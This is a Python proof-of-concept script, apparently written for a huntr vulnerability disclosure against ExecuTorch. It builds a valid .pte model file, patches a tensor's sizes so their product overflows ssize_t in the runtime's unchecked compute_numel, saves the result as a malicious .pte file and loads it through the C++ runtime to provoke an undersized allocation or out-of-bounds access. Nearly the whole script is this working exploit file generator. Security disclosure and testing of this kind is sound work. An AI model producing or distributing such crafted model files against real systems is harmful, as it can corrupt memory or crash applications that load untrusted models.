executorch-pte-mfv-poc / poc_executorch.py
wonbrand's picture
Upload poc_executorch.py with huggingface_hub
51548aa verified
Raw
History Blame Contribute Delete
3.56 kB
#!/usr/bin/env python3
# huntr Model-File-Format PoC (AUTHORIZED disclosure) — ExecuTorch .pte compute_numel int-overflow
# Craft a malicious .pte whose tensor `sizes` product overflows ssize_t (unchecked compute_numel
# tensor_impl.cpp:42; sibling safe_numel:64 guards). Load it -> undersized alloc / OOB at parse.
import sys, os, struct, traceback
OUT = "/mnt/c/Users/A/AppData/Local/Temp/claude/C--Users-A-idea-security/3ebe7ed1-e1f0-439b-89dd-99e02abb9f01/scratchpad"
def log(*a): print(*a, flush=True)
# 1) Export a minimal valid base .pte
import torch
from torch.export import export
from executorch.exir import to_edge
class M(torch.nn.Module):
def forward(self, x):
return x + x
log("[1] exporting base model ...")
ep = export(M(), (torch.randn(2, 3, 4),))
et = to_edge(ep).to_executorch()
base = bytes(et.buffer)
open(OUT + "/base.pte", "wb").write(base)
log(" base.pte bytes:", len(base))
# 2) Deserialize -> patch a tensor's sizes to overflow -> reserialize
from executorch.exir._serialize import _serialize as S
from executorch.exir.schema import Tensor
# deserialize
prog = None
for fn in ("deserialize_pte_binary",):
if hasattr(S, fn):
prog = getattr(S, fn)(base); break
if prog is None:
# fallback module
from executorch.exir._serialize import _program as P
prog = P.deserialize_pte_binary(base) if hasattr(P, "deserialize_pte_binary") else None
log("[2] deserialized:", type(prog).__name__, "attrs:", [a for a in dir(prog) if not a.startswith('_')][:12])
# PTEFile wraps the Program
program = getattr(prog, "program", None) or getattr(prog, "flatbuffer_program", None) or prog
log(" program:", type(program).__name__, "attrs:", [a for a in dir(program) if not a.startswith('_')][:12])
# find tensors in execution plan values
OVR = [2147483647, 2147483647, 4] # product = 2^31-1 * 2^31-1 * 4 ~ 1.8e19 > 2^63 -> ssize_t overflow
patched = 0
for plan in program.execution_plan:
for v in plan.values:
val = getattr(v, "val", None)
if val is not None and val.__class__.__name__ == "Tensor" and hasattr(val, "sizes"):
log(" tensor found: sizes=", list(val.sizes), "scalar_type=", getattr(val,'scalar_type',None))
val.sizes = list(OVR)
if hasattr(val, "dim_order"):
val.dim_order = list(range(len(OVR)))
patched += 1
if patched >= 1:
break
if patched: break
log(" patched tensors:", patched)
# reserialize
ser = None
for fn in ("serialize_pte_binary",):
if hasattr(S, fn):
ser = getattr(S, fn); break
mal = ser(prog) if ser else None
if hasattr(mal, "tobytes"): mal = mal.tobytes()
mal = bytes(mal)
open(OUT + "/malicious_compute_numel.pte", "wb").write(mal)
log("[3] malicious .pte bytes:", len(mal), "-> malicious_compute_numel.pte")
# 3) Load the malicious .pte through the C++ runtime -> observe crash/abort
from executorch.extension.pybindings.portable_lib import _load_for_executorch_from_buffer
log("[4] loading malicious .pte through ExecuTorch C++ runtime ...")
try:
m = _load_for_executorch_from_buffer(mal)
log(" loaded module:", m)
# force method/tensor materialization
try:
out = m.forward((torch.randn(2,3,4),))
log(" forward out:", type(out))
except Exception as e:
log(" forward raised:", repr(e))
log("RESULT: loaded without hard crash (inspect for abort/OOB above).")
except Exception as e:
log("RESULT: load raised exception (parser rejected or aborted):")
traceback.print_exc()